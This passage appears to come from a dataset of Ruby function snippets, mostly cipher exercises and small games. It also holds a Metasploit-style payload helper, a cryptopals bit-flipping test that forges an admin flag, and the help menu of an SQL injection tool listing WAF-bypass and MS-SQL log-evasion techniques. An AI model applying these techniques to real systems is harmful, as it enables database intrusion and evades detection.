5) % 26\\n new[i] = numbers_to_letters.fetch(num)\\n end\\n end\\n\\n villians_hash.fetch(new.join)\\n\\nend\",\n \"def generate_secret_word\\n dictionary = File.open('5desk.txt', 'r').readlines\\n legal_words = []\\n\\n dictionary.each do |line|\\n word = line.chomp\\n legal_words << word if legal_word?(word)\\n end\\n\\n legal_words.sample\\n end\",\n \"def puf_syndrome\\n \\n end\",\n \"def sic_code; end\",\n \"def crypt(p0) end\",\n \"def north_korean_cipher(coded_message)\\n input = coded_message.downcase.split(\\\"\\\") \\n \\n decoded_sentence = [] \\n cipher = {\\\"e\\\" => \\\"a\\\", \\n \\\"f\\\" => \\\"b\\\",\\n \\\"g\\\" => \\\"c\\\",\\n \\\"h\\\" => \\\"d\\\",\\n \\\"i\\\" => \\\"e\\\",\\n \\\"j\\\" => \\\"f\\\",\\n \\\"k\\\" => \\\"g\\\",\\n \\\"l\\\" => \\\"h\\\",\\n \\\"m\\\" => \\\"i\\\",\\n \\\"n\\\" => \\\"j\\\",\\n \\\"o\\\" => \\\"k\\\",\\n \\\"p\\\" => \\\"l\\\",\\n \\\"q\\\" => \\\"m\\\",\\n \\\"r\\\" => \\\"n\\\",\\n \\\"s\\\" => \\\"o\\\",\\n \\\"t\\\" => \\\"p\\\",\\n \\\"u\\\" => \\\"q\\\",\\n \\\"v\\\" => \\\"r\\\",\\n \\\"w\\\" => \\\"s\\\",\\n \\\"x\\\" => \\\"t\\\",\\n \\\"y\\\" => \\\"u\\\",\\n \\\"z\\\" => \\\"v\\\",\\n \\\"a\\\" => \\\"w\\\",\\n \\\"b\\\" => \\\"x\\\",\\n \\\"c\\\" => \\\"y\\\",\\n \\\"d\\\" => \\\"z\\\"}\\n\\n input.each do |x| # Starting a very long each method-saying for each value the rest\\n # of the code is going to be executed.\\n found_match = false # There would be no way to actually tell if a statement was true\\n # unless the default is set to false.\\n cipher.each_key do |y| # Taking each key from cipher & applying the rest of the code.\\n if x == y # Comparing the key and the value. X is the value. Y is the key.\\n puts \\\"I am comparing x and y. X is #{x} and Y is #{y}.\\\" # prints to console\\n decoded_sentence << cipher[y] # << adds element to existing array, but here it seems\\n # that it is working to apply the cipher keys to the # decoded sentence.\\n found_match = true # Signals if match was found, ie x==y.\\n break # It is breaking because x and y can be compared infinitely.\\n elsif x == \\\"@\\\" || x == \\\"#\\\" || x == \\\"$\\\" || x == \\\"%\\\"|| x == \\\"^\\\" || x == \\\"&\\\"|| x ==\\\"*\\\"\\n # Checking if any values are symbols.\\n decoded_sentence << \\\" \\\" # Is applying blank space where any symbol appears.\\n found_match = true # Signals if match was found, ie x==symbol.\\n break # It is breaking because x can be checked infinitely.\\n elsif (0..9).to_a.include?(x) # It's checking to see if x is an integer.\\n decoded_sentence << x # Adds x(value) where integers are found.\\n found_match = true # Signals if match was found, ie x==integer.\\n break # It is breaking because x can be checked infinitely.\\n end # If/elsif loop ends.\\n end # The each method on y is finally ending.\\n if not found_match # If x(value) isn't == to y(key), a symbol, or integer then...\\n decoded_sentence << x # Apply the value to the decoded sentence.\\n end # If statement ends\\n end # The each method on x is finally ending.\\n decoded_sentence = decoded_sentence.join(\\\"\\\") # Joins the sentence back together after\\n # splitting it in order to disect each element.\\n if decoded_sentence.match(/\\\\d+/) #What is this matching? * \\\\d+/ means 1 or more digits\\n decoded_sentence.gsub!(/\\\\d+/) { |num| num.to_i / 100 } # He's been known to exaggerate...\\n end # This expands match- it subs\\n # one or more digits for the block (basically # reducing every digit by a 1/100th)\\n return decoded_sentence # Returns the answer sentence.\\nend\",\n \"def in_law; end\",\n \"def suivre; end\",\n \"def caesar_guesser(encrypted_string, alphabet)\\r\\n\\r\\nend\",\n \"def tuc(arg)\\n h = Hash.[](\\\".\\\"=>\\\"་\\\", \\\"/\\\"=>\\\"།\\\", \\\";\\\"=>\\\"༔\\\", \\\"\\\"=>\\\"\\\",\\n \\\"ka\\\"=>\\\"ཀ\\\", \\\"kha\\\"=>\\\"ཁ\\\", \\\"ga\\\"=>\\\"ག\\\", \\\"nga\\\"=>\\\"ང\\\",\\n \\\"ca\\\"=>\\\"ཅ\\\", \\\"cha\\\"=>\\\"ཆ\\\", \\\"ja\\\"=>\\\"ཇ\\\", \\\"nya\\\"=>\\\"ཉ\\\",\\n \\\"ta\\\"=>\\\"ཏ\\\", \\\"tha\\\"=>\\\"ཐ\\\", \\\"da\\\"=>\\\"ད\\\", \\\"na\\\"=>\\\"ན\\\",\\n \\\"pa\\\"=>\\\"པ\\\", \\\"pha\\\"=>\\\"ཕ\\\", \\\"ba\\\"=>\\\"བ\\\", \\\"ma\\\"=>\\\"མ\\\",\\n \\\"tsa\\\"=>\\\"ཙ\\\", \\\"tsha\\\"=>\\\"ཚ\\\", \\\"dza\\\"=>\\\"ཛ\\\", \\\"wa\\\"=>\\\"ཝ\\\",\\n \\\"zha\\\"=>\\\"ཞ\\\", \\\"za\\\"=>\\\"ཟ\\\", \\\"'a\\\"=>\\\"འ\\\", \\\"ya\\\"=>\\\"ཡ\\\",\\n \\\"ra\\\"=>\\\"ར\\\", \\\"la\\\"=>\\\"ལ\\\", \\\"sha\\\"=>\\\"ཤ\\\", \\\"sa\\\"=>\\\"ས\\\",\\n \\\"ha\\\"=>\\\"ཧ\\\", \\\"a\\\"=>\\\"ཨ\\\",\\n # numbers !!! better include number_generator\\n \\\"0\\\"=>\\\"༠\\\", \\\"1\\\"=>\\\"༡\\\", \\\"2\\\"=>\\\"༢\\\", \\\"3\\\"=>\\\"༣\\\",\\n \\\"4\\\"=>\\\"༤\\\", \\\"5\\\"=>\\\"༥\\\", \\\"6\\\"=>\\\"༦\\\", \\\"7\\\"=>\\\"༧\\\",\\n \\\"8\\\"=>\\\"༨\\\", \\\"9\\\"=>\\\"༩\\\",\\n # vowel signs\\n \\\".e\\\"=>\\\"ེ\\\", \\\".i\\\"=>\\\"ི\\\", \\\".o\\\"=>\\\"ོ\\\", \\\".u\\\"=>\\\"ུ\\\",\\n # double vowel signs\\n \\\"E\\\" => \\\"ཻ\\\", \\\"O\\\" => \\\"ཽ\\\",\\n # subscribed characters\\n \\\"x_ka\\\"=>\\\"ྐ\\\", \\\"x_kha\\\"=>\\\"ྑ\\\", \\\"x_ga\\\"=>\\\"ྒ\\\", \\\"x_nga\\\"=>\\\"ྔ\\\",\\n \\\"x_ca\\\"=>\\\"ྕ\\\", \\\"x_cha\\\"=>\\\"ྖ\\\", \\\"x_ja\\\"=>\\\"ྗ\\\", \\\"x_nya\\\"=>\\\"ྙ\\\",\\n \\\"x_ta\\\"=>\\\"ྟ\\\", \\\"x_tha\\\"=>\\\"ྐ\\\", \\\"x_da\\\"=>\\\"ྡ\\\", \\\"x_na\\\"=>\\\"ྣ\\\",\\n \\\"x_pa\\\"=>\\\"ྤ\\\", \\\"x_pha\\\"=>\\\"ྥ\\\", \\\"x_ba\\\"=>\\\"ྦ\\\", \\\"x_ma\\\"=>\\\"ྨ\\\",\\n \\\"x_tsa\\\"=>\\\"ྩ\\\", \\\"x_tsha\\\"=>\\\"ྪ\\\", \\\"x_dza\\\"=>\\\"ྫ\\\", \\\"x_wa\\\"=>\\\"ྭ\\\",\\n \\\"x_zha\\\"=>\\\"ྮ\\\", \\\"x_za\\\"=>\\\"ྯ\\\", \\\"x_'a\\\"=>\\\"ཱ\\\", \\\"x_ya\\\"=>\\\"ྱ\\\",\\n \\\"x_ra\\\"=>\\\"ྲ\\\", \\\"x_la\\\"=>\\\"ླ\\\", \\\"x_sha\\\"=>\\\"ྴ\\\", \\\"x_sa\\\"=>\\\"ྶ\\\",\\n \\\"x_ha\\\"=>\\\"ྷ\\\", \\\"x_a\\\"=>\\\"ྸ\\\",\\n # superscribed character\\n \\\"ra_x\\\"=>\\\"ར\\\",\\n # revered letters\\n \\\"Ta\\\"=>\\\"ཊ\\\", \\\"Tha\\\" => \\\"ཋ\\\", \\\"Da\\\" => \\\"ཌ\\\", \\\"Na\\\" => \\\"ཎ\\\",\\n \\\"Sha\\\" => \\\"ཥ\\\")\\n\\n result = h[arg]\\n if result != nil\\n erg = result\\n else\\n erg = \\\"\\\"\\n end\\n return erg\\n end\",\n \"def picky_procipher(sen, hash)\\n splitted = sen.split(\\\" \\\")\\n splitted.each_with_index do |word, i|\\n hash.each do |k,v|\\n if k.call(word)\\n splitted[i] = v.call(word)\\n break\\n end\\n end\\n end\\n splitted.join(\\\" \\\")\\nend\",\n \"def north_korean_cipher(coded_message) # \\n input = coded_message.downcase.split(\\\"\\\") #Takes input, downcases it, and splits each individual element into an element of an array\\n decoded_sentence = [] # creates an empty array called decoded_sentence \\n cipher = {\\\"e\\\" => \\\"a\\\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\\n \\\"f\\\" => \\\"b\\\", # the best data structure for this problem? What are the pros and cons of hashes?\\n \\\"g\\\" => \\\"c\\\", # Pros: This allows a direct translation for each key\\n \\\"h\\\" => \\\"d\\\", # Cons: It's really long and inefficient \\n \\\"i\\\" => \\\"e\\\", \\n \\\"j\\\" => \\\"f\\\",\\n \\\"k\\\" => \\\"g\\\",\\n \\\"l\\\" => \\\"h\\\", \\n \\\"m\\\" => \\\"i\\\",\\n \\\"n\\\" => \\\"j\\\", \\n \\\"o\\\" => \\\"k\\\",\\n \\\"p\\\" => \\\"l\\\",\\n \\\"q\\\" => \\\"m\\\",\\n \\\"r\\\" => \\\"n\\\",\\n \\\"s\\\" => \\\"o\\\",\\n \\\"t\\\" => \\\"p\\\",\\n \\\"u\\\" => \\\"q\\\",\\n \\\"v\\\" => \\\"r\\\",\\n \\\"w\\\" => \\\"s\\\",\\n \\\"x\\\" => \\\"t\\\",\\n \\\"y\\\" => \\\"u\\\",\\n \\\"z\\\" => \\\"v\\\",\\n \\\"a\\\" => \\\"w\\\",\\n \\\"b\\\" => \\\"x\\\",\\n \\\"c\\\" => \\\"y\\\",\\n \\\"d\\\" => \\\"z\\\"}\\n \\n input.each do |x| # Each is examining each element of the input array as x \\n found_match = false # if found false it leaves that element of the input as the same and pushes it decoded_sentence\\n cipher.each_key do |y| # Examining each key of the hash cipher \\n if x == y # If statement comparing the input element (x) with the key of cipher hash (y) for match \\n puts \\\"I am comparing x and y. X is #{x} and Y is #{y}.\\\" # puts string \\n decoded_sentence << cipher[y] # Pushes cipher[y] into the array decoded_sentence\\n found_match = true #marks match as true \\n break # the value is found so it doesn't have to search through all the symbols\\n elsif x == \\\"@\\\" || x == \\\"#\\\" || x == \\\"$\\\" || x == \\\"%\\\"|| x == \\\"^\\\" || x == \\\"&\\\"|| x ==\\\"*\\\" #Replaces these symbols with a space\\n decoded_sentence << \\\" \\\" #push space into decoded array \\n found_match = true #marks match as true \\n break # ends the loop for the symbols \\n elsif (0..9).to_a.include?(x) # puts the values in the range in an array \\n decoded_sentence << x #pushes number as is into decoded array\\n found_match = true #mark match as true\\n break # ends the loop for the range class\\n end \\n end\\n if not found_match # if not true \\n decoded_sentence << x #pushes the x into the decoded_sentence \\n end\\n end\\n decoded_sentence = decoded_sentence.join(\\\"\\\") #takes elements from array and combines them into a string\\n \\n if decoded_sentence.match(/\\\\d+/) #finds matches for any numbers in the input \\n decoded_sentence.gsub!(/\\\\d+/) { |num| num.to_i / 100 } # takes that number and inserts it with an integer and divides it by 100 \\n end \\n return decoded_sentence # Returning string of decoded sentence \\nend\",\n \"def can_tweak_sign?(normal_sign, vandalized_sign)\\n normal_count = character_count(normal_sign)\\n vandal_count = character_count(vandalized_sign)\\n vandal_count.each do |k,v|\\n if normal_count[k] < v\\n return false\\n end\\n end\\n return true\\nend\",\n \"def dr_evils_cipher(coded_message)\\n input = coded_message.downcase.split(\\\"\\\") # Check out this method in IRB to see how it works! Also refer to the Ruby docs.\\n # it's setting the input to be the coded message that is now lower case and splits each input into a single letter\\n decoded_sentence = []\\n #setting decoded sentence to be an empty array\\n cipher = {\\\"e\\\" => \\\"a\\\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\\n \\\"f\\\" => \\\"b\\\", # the best data structure for this problem? What are the pros and cons of hashes?\\n \\\"g\\\" => \\\"c\\\",\\n \\\"h\\\" => \\\"d\\\",\\n \\\"i\\\" => \\\"e\\\",\\n \\\"j\\\" => \\\"f\\\",\\n \\\"k\\\" => \\\"g\\\",\\n \\\"l\\\" => \\\"h\\\",\\n \\\"m\\\" => \\\"i\\\",\\n \\\"n\\\" => \\\"j\\\",\\n \\\"o\\\" => \\\"k\\\",\\n \\\"p\\\" => \\\"l\\\",\\n \\\"q\\\" => \\\"m\\\",\\n \\\"r\\\" => \\\"n\\\",\\n \\\"s\\\" => \\\"o\\\",\\n \\\"t\\\" => \\\"p\\\",\\n \\\"u\\\" => \\\"q\\\",\\n \\\"v\\\" => \\\"r\\\",\\n \\\"w\\\" => \\\"s\\\",\\n \\\"x\\\" => \\\"t\\\",\\n \\\"y\\\" => \\\"u\\\",\\n \\\"z\\\" => \\\"v\\\",\\n \\\"a\\\" => \\\"w\\\",\\n \\\"b\\\" => \\\"x\\\",\\n \\\"c\\\" => \\\"y\\\",\\n \\\"d\\\" => \\\"z\\\"}\\n# This is where the conversions for the code is stored in a hash.\\n input.each do |x| # What is #each doing here?\\n found_match = false # Why would this be assigned to false from the outset? What happens when it's true?\\n\\n # It is iterating over each item that was in the message to be decoded. It's false because it doesn't match the code that deciphers it. It means that it was the same which can't happen.\\n\\n cipher.each_key do |y| # What is #each_key doing here?\\n if x == y # What is this comparing? Where is it getting x? Where is it getting y? What are those variables really?\\n\\n # It is iterating over the hash keys. It is comparing the message to be decoded to the key to see what letter it should change it too.\\n\\n decoded_sentence << cipher[y]\\n found_match = true\\n #When they match it's push the new deciphered lettter to the decoded sentence array.\\n break # Why is it breaking here?\\n #It's breaking so it can move onto the next letter to decipher.\\n elsif x == \\\"@\\\" || x == \\\"#\\\" || x == \\\"$\\\" || x == \\\"%\\\"|| x == \\\"^\\\" || x == \\\"&\\\"|| x ==\\\"*\\\" #What the heck is this doing?\\n #It's making it so if there is a character that's not a letter it won't change it and just push it into the array.\\n decoded_sentence << \\\" \\\"\\n found_match = true\\n break\\n elsif (0..9).to_a.include?(x) # Try this out in IRB. What does \\\" (0..9).to_a \\\" do?\\n #Similar as before but this is for numbers in an array and will add those as well.\\n decoded_sentence << x\\n found_match = true\\n break\\n end\\n end\\n if not found_match # What is this looking for?\\n decoded_sentence << x\\n # If there isn't anything that matches the previous checks it will just add it to decoded sentece.\\n end\\n end\\n decoded_sentence = decoded_sentence.join(\\\"\\\")\\n #What is this method returning?\\n# It's returning the decoded sentence and joining everything back together.\\nend\",\n \"def kexy_corebel?(sheikdom_sanguinarily)\\n unsyringed?(swotter_uncoherentness, tetartoid)\\n end\",\n \"def enchant\\n end\",\n \"def rand_text_highascii(length, bad=payload_badchars)\\n if debugging?\\n rand_text_debug(length)\\n else\\n Rex::Text.rand_text_highascii(length, bad)\\n end\\n end\",\n \"def descramble( scrambled )\\n cipher = OpenSSL::Cipher::Cipher.new( @@algorithm )\\n cipher.decrypt\\n salt = scrambled[ 0, 8 ]\\n data = scrambled[ 8, scrambled.size ]\\n cipher.pkcs5_keyivgen( @@key, salt )\\n cipher.update( data ) + cipher.final\\n end\",\n \"def test_challenge_26\\n idx = f1(\\\"\\\").\\n bytes.\\n zip(f1(\\\"A\\\").bytes).\\n each_with_index do |(l, r), index|\\n break index if l != r\\n end\\n\\n p1 = \\\"XadminXtrue\\\"\\n c1 = f1(p1)\\n refute admin?(c1)\\n\\n ksb0 = p1[0].ord ^ c1[idx].ord\\n ncb0 = ksb0 ^ \\\";\\\".ord\\n c1[idx] = ncb0.chr\\n\\n ksb6 = p1[6].ord ^ c1[idx + 6].ord\\n ncb6 = ksb6 ^ \\\"=\\\".ord\\n c1[idx + 6] = ncb6.chr\\n\\n assert admin?(c1)\\n end\",\n \"def telaDeAbertura\\n # Creditos da tela de abertura\\n system \\\"clear\\\"\\n puts \\\"\\\\n\\\\n\\\\n\\\"\\n centralizar(\\\"============ JOGO DA FORCA =============\\\")\\n centralizar(\\\"Desenvolvido por Wendel Lopes dos Santos\\\")\\n centralizar(\\\"W3n Gamer - 2020 v.1\\\")\\n # Instruções de jogabilidade\\n puts \\\"\\\\n\\\\n\\\"\\n centralizar(\\\"Seja bem vindo! Acerte a palavra secreta digitando uma letra por vez.\\\")\\n centralizar(\\\"Digite \\\\\\\"AJUDA\\\\\\\" para receber uma nova dica, ou digite \\\\\\\"SAIR\\\\\\\" para \\\")\\n centralizar(\\\"sair imediatamente do jogo.\\\")\\n puts \\\"\\\\n\\\"\\n centralizar(\\\"BOA SORTE!!!\\\")\\n puts \\\"\\\\n\\\"\\n centralizar(\\\"Precione ENTER para começar!!!\\\")\\n gets()\\n system \\\"clear\\\"\\n end\",\n \"def picky_procipher(sent, hash)\\r\\n new_sent = []\\r\\n found = false\\r\\n sent.split(\\\" \\\").each do |word|\\r\\n hash.each do |k, v|\\r\\n found = false\\r\\n if k.call(word)\\r\\n new_sent << v.call(word)\\r\\n found = true\\r\\n break \\r\\n end\\r\\n end\\r\\n new_sent << word if !found\\r\\n end\\r\\n new_sent.join(\\\" \\\")\\r\\nend\",\n \"def breakXORCipher(cipherText)\\n scoredTexts = Hash.new\\n \\n #Try all ASCII keys from \\n for i in 32..126 do\\n keyChar = i.chr\\n \\n possiblePlaintext = hexToASCII(singleByteXOR(cipherText.upcase, keyChar))\\n scoredTexts[keyChar] = scorePlaintext(possiblePlaintext)\\n \\n if(scoredTexts[keyChar] == possiblePlaintext.length)\\n puts cipherText\\n puts possiblePlaintext \\n puts keyChar + \\\" scored \\\" + scoredTexts[keyChar].to_s\\n end\\n end\\nend\",\n \"def can_tweak_sign?(normal_sign, vandalized_sign)\\n normalHash = Hash.new(0)\\n vandalizedHash = Hash.new(0)\\n\\n normal_sign.each_char do |char|\\n normalHash[char.downcase] += 1 unless char == ''\\n end\\n vandalized_sign.each_char do |char|\\n vandalizedHash[char.downcase] += 1 unless char == ''\\n end\\n\\n vandalizedHash.each do |key, value|\\n return false if value > normalHash[key]\\n end\\n return true\\nend\",\n \"def strass_real_usage(num)\\n if num.to_i == 1 or num.to_i == 8\\n puts \\\"Available Encoder & Decoder Options: \\\".underline.white\\n puts \\\"b64 STR\\\".light_yellow + \\\" => \\\".white + \\\"Base64 Encode String\\\".light_red\\n puts \\\"b64d STR\\\".light_yellow + \\\" => \\\".white + \\\"Base64 Decode String\\\".light_red\\n puts \\\"up STR\\\".light_yellow + \\\" => \\\".white + \\\"UPPERCASE String\\\".light_red\\n puts \\\"down STR\\\".light_yellow + \\\" => \\\".white + \\\"lowercase String\\\".light_red\\n puts \\\"rev STR\\\".light_yellow + \\\" => \\\".white + \\\"esreveR|Reverse String\\\".light_red\\n puts \\\"rot13 STR\\\".light_yellow + \\\" => \\\".white + \\\"ROT13 Encode/Decode String\\\".light_red\\n puts \\\"hex STR\\\".light_yellow + \\\" => \\\".white + \\\"HEX Encode String\\\".light_red\\n puts \\\"unhex STR\\\".light_yellow + \\\" => \\\".white + \\\"HEX to ASCII\\\".light_red\\n puts \\\"mysqlhex STR\\\".light_yellow + \\\" => \\\".white + \\\"0xMySQL HEX Encode String\\\".light_red\\n puts \\\"mysqlunhex STR\\\".light_yellow + \\\" => \\\".white + \\\"0xMySQL HEX to ASCII\\\".light_red\\n puts \\\"ascii STR\\\".light_yellow + \\\" => \\\".white + \\\"Returns ASCII Value of String\\\".light_red\\n puts \\\"mysqlchar STR\\\".light_yellow + \\\" => \\\".white + \\\"Returns MySQL CHAR() Value of String\\\".light_red\\n puts \\\"mssqlchar STR\\\".light_yellow + \\\" => \\\".white + \\\"Returns MSSQL CHAR() Value of String\\\".light_red\\n puts \\\"oraclechar STR\\\".light_yellow + \\\" => \\\".white + \\\"Returns Oracle CHR() Value of String\\\".light_red\\n puts \\\"unicode STR\\\".light_yellow + \\\" => \\\".white + \\\"Unicode Encode String\\\".light_red\\n puts \\\"urienc STR\\\".light_yellow + \\\" => \\\".white + \\\"URI Encode String\\\".light_red\\n puts \\\"uridec STR\\\".light_yellow + \\\" => \\\".white + \\\"URI Decode String\\\".light_red\\n puts \\\"doubleurl STR\\\".light_yellow + \\\" => \\\".white + \\\"URI Double Encode String\\\".light_red\\n puts \\\"ent_dec STR\\\".light_yellow + \\\" => \\\".white + \\\"HTML Entity Decimal Encode String (&#DD)\\\".light_red\\n puts \\\"ent_ddec STR\\\".light_yellow + \\\" => \\\".white + \\\"HTML Entity Decimal Decode String (&#DD)\\\".light_red\\n puts \\\"ent_hex STR\\\".light_yellow + \\\" => \\\".white + \\\"HTML Entity HEX Encode String (&#xXX)\\\".light_red\\n puts \\\"ent_dhex STR\\\".light_yellow + \\\" => \\\".white + \\\"HTML Entity HEX Decode String (&#xXX)\\\".light_red\\n puts \\\"ent_name STR\\\".light_yellow + \\\" => \\\".white + \\\"HTML Entity Named Encoding of String\\\".light_red\\n puts \\\"ent_dname STR\\\".light_yellow + \\\" => \\\".white + \\\"HTML Entity Named Decoding of String\\\".light_red\\n print_line(\\\"\\\")\\n end\\n\\n # Now print the QUERY BUILDER Functions if requested\\n if num.to_i == 2 or num.to_i == 8\\n puts \\\"Available SQLi Query Builder Options: \\\".underline.white\\n puts \\\"union NUMBER\\\".light_yellow + \\\" => \\\".white + \\\"Union Select Query using provided NUMBER of columns\\\".light_red\\n puts \\\"union_null NUMBER\\\".light_yellow + \\\" => \\\".white + \\\"Union Select Query with NULL value for provided NUMBER of columns\\\".light_red\\n puts \\\"union_cust CUSTOM NUMBER\\\".light_yellow + \\\" => \\\".white + \\\"Union Select Query with CUSTOM value for provided NUMBER of columns\\\".light_red\\n puts \\\"union_bof BUFFER NUMBER\\\".light_yellow + \\\" => \\\".white + \\\"BoF Union Select Query using provided BUFFER & NUMBER of Columns\\\".light_red\\n print_line(\\\"\\\")\\n end\\n\\n # Now print the SQLi & Tamper Functions if requested\\n if num.to_i == 3 or num.to_i == 8\\n puts \\\"Available SQLi Tamper Options: \\\".underline.white\\n puts \\\"wafcap STR\\\".light_yellow + \\\" => \\\".white + \\\"Randomly Capitalize ALL Words Throughout String\\\".light_red\\n puts \\\"wafcap_common STR\\\".light_yellow + \\\" => \\\".white + \\\"Randomly Capitalize SQLi Key Words in String\\\".light_red\\n puts \\\"doubleup STR\\\".light_yellow + \\\" => \\\".white + \\\"Double Up SQLi Key Words (UNunionION)\\\".light_red\\n puts \\\"comment STR\\\".light_yellow + \\\" => \\\".white + \\\"C Comment SQLi Key Words (/*UNION*/)\\\".light_red\\n puts \\\"mycomment STR\\\".light_yellow + \\\" => \\\".white + \\\"MySQL Friendly C Style Comment of SQLi Key Words (/*!UNION*/)\\\".light_red\\n puts \\\"mykeyhex STR\\\".light_yellow + \\\" => \\\".white + \\\"URL Hex Encode SQLi Key Words (U%6eIO%6e S%65L%65CT 1,2,3)\\\".light_red\\n puts \\\"zerocomment STR\\\".light_yellow + \\\" => \\\".white + \\\"Zero Versioned MySQL Friendly C Style Comment on SQLi Key Words (/*!0UNION*/)\\\".light_red\\n puts \\\"randcomment STR\\\".light_yellow + \\\" => \\\".white + \\\"C Style Comments Randomly Inserted into SQLi Key Words (U/*N*/IO/*N*/)\\\".light_red\\n puts \\\"modsec_vers STR\\\".light_yellow + \\\" => \\\".white + \\\"Versioned MySQL C Comments Encapsulating Query String (/*!30187UNION SELECT 1,2,3,4*/)\\\".light_red\\n puts \\\"modsec_zerovers STR\\\".light_yellow + \\\" => \\\".white + \\\"Zero Versioned MySQL C Comments Encapsulating Query String (/*!00000UNION SELECT 1,2,3,4*/)\\\".light_red\\n puts \\\"bluecoat STR\\\".light_yellow + \\\" => \\\".white + \\\"Bluecoat WAF: Adds Legal ASCII Blank Char following SQLi Key Words (UNION%09 SELECT%09 1,2,3 FROM foo#)\\\".light_red\\n puts \\\"securesphere STR\\\".light_yellow + \\\" => \\\".white + \\\"Imperva SecureSphere WAF: Appends \\\\\\\"magic\\\\\\\" string to each request (and '0having'='0having')\\\".light_red\\n puts \\\"equal2like STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert '=' comparison to 'LIKE' comparison\\\".light_red\\n puts \\\"gt2between STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert '>' comparison to 'NOT BETWEEN' comparison\\\".light_red\\n puts \\\"percent STR\\\".light_yellow + \\\" => \\\".white + \\\"Places '%' after each char in string (Common ASP Bypass)\\\".light_red\\n puts \\\"singleq2utf STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Single Quotes (') to UTF version (%EF%BC%87)\\\".light_red\\n puts \\\"singleq2null STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Single Quotes (') to NULL URI Encoded version (%00%27)\\\".light_red\\n puts \\\"unmagicquotes STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Single Quotes (') to multi-byte combo (%bf%27)and add dash (--) comment to end to balance\\\".light_red\\n print_line(\\\"\\\")\\n end\\n\\n # Now print the Append Functions if requested\\n if num.to_i == 4 or num.to_i == 8\\n puts \\\"Available Append Options: \\\".underline.white\\n puts \\\"addnull STR\\\".light_yellow + \\\" => \\\".white + \\\"Append NULL Byte (%00)\\\".light_red\\n puts \\\"adddash STR\\\".light_yellow + \\\" => \\\".white + \\\"Append Dash Delimieter (--)\\\".light_red\\n puts \\\"addsdash STR\\\".light_yellow + \\\" => \\\".white + \\\"Append String Based Dash Delimieter (-- -)\\\".light_red\\n puts \\\"addhash STR\\\".light_yellow + \\\" => \\\".white + \\\"Append Hash/Pound Delimieter (\\\\#)\\\".light_red\\n puts \\\"addcomm STR\\\".light_yellow + \\\" => \\\".white + \\\"Append MS-SQL Comment Style Delimieter (/*)\\\".light_red\\n puts \\\"addsp STR\\\".light_yellow + \\\" => \\\".white + \\\"Append sp_password for MS-SQL Log Evasion\\\".light_red\\n print_line(\\\"\\\")\\n end\\n\\n # Now print the Space Functions if requested\\n if num.to_i == 5 or num.to_i == 8\\n puts \\\"Available White Space Manipulation Options: \\\".underline.white\\n puts \\\"space2comment STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to C Style Comment (' ' => /**/)\\\".light_red\\n puts \\\"space2mycomment STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to MySQL Friendly C Style Comment (' ' => /*!*/)\\\".light_red\\n puts \\\"space2dash STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to Dash (--) followed by random string and a new line (ZeroNights: ' ' => --aXyNOfLq%0A)\\\".light_red\\n puts \\\"space2dashline STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to Dash (--) followed by a new line (' ' => --%0A)\\\".light_red\\n puts \\\"space2hash STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to Hash/Pound (\\\\#) followed by random string and a new line (ModSec-Challenge: ' ' => \\\\#aXyNOfLq%0A)\\\".light_red\\n puts \\\"space2hashline STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to Hash/Pound (\\\\#) followed by a new line (' ' => \\\\#%0A)\\\".light_red\\n puts \\\"space2mssql STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to any 1 of 15 possible chars considered legal by MS-SQL\\\".light_red\\n puts \\\"space2mysql STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to any 1 of 6 possible chars considered legal in MySQL\\\".light_red\\n puts \\\"space2rand STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to any 1 of 4 possible chars considered universally legal\\\".light_red\\n puts \\\"space2oa STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to New Line (%0A)\\\".light_red\\n puts \\\"space2o9 STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to Horizontal Tab (%09)\\\".light_red\\n puts \\\"space2ob STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to Vertical Tab (%0B)\\\".light_red\\n puts \\\"space2oc STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to New Page (%0C)\\\".light_red\\n puts \\\"space2od STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to Carriage Return (%0D)\\\".light_red\\n puts \\\"space2plus STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert Spaces to Plus (+)\\\".light_red\\n print_line(\\\"\\\")\\n end\\n\\n # Now print the FLOOR(RAND(0)*2) Functions if requested\\n if num.to_i == 6 or num.to_i == 8\\n puts \\\"Available FLOOR(RAND(0)*2) Manipulation Options: \\\".underline.white\\n puts \\\"floor2xor STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert FLOOR(RAND(0)*2) to RAND(0) XOR 1\\\".light_red\\n puts \\\"floor2greatest STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert FLOOR(RAND(0)*2) to GREATEST(rand(0),2)\\\".light_red\\n puts \\\"floor2div STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert FLOOR(RAND(0)*2) to RAND(0) div 1\\\".light_red\\n puts \\\"floor2round STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert FLOOR(RAND(0)*2) to ROUND(RAND(0),2)\\\".light_red\\n puts \\\"floor2rand STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert FLOOR(RAND(0)*2) to RAND(0) | RAND(0)\\\".light_red\\n print_line(\\\"\\\")\\n end\\n\\n # Now print the FLOOR(RAND(0)*2) Functions if requested\\n if num.to_i == 7 or num.to_i == 8\\n puts \\\"Available Comma Manipulation Options: \\\".underline.white\\n puts \\\"comma2comm STR\\\".light_yellow + \\\" => \\\".white + \\\"C Style Comment out commas (,) to (/*,*/)\\\".light_red\\n puts \\\"comma2mycomm STR\\\".light_yellow + \\\" => \\\".white + \\\"MySQL Friendly C Style Comment out commas (,) to 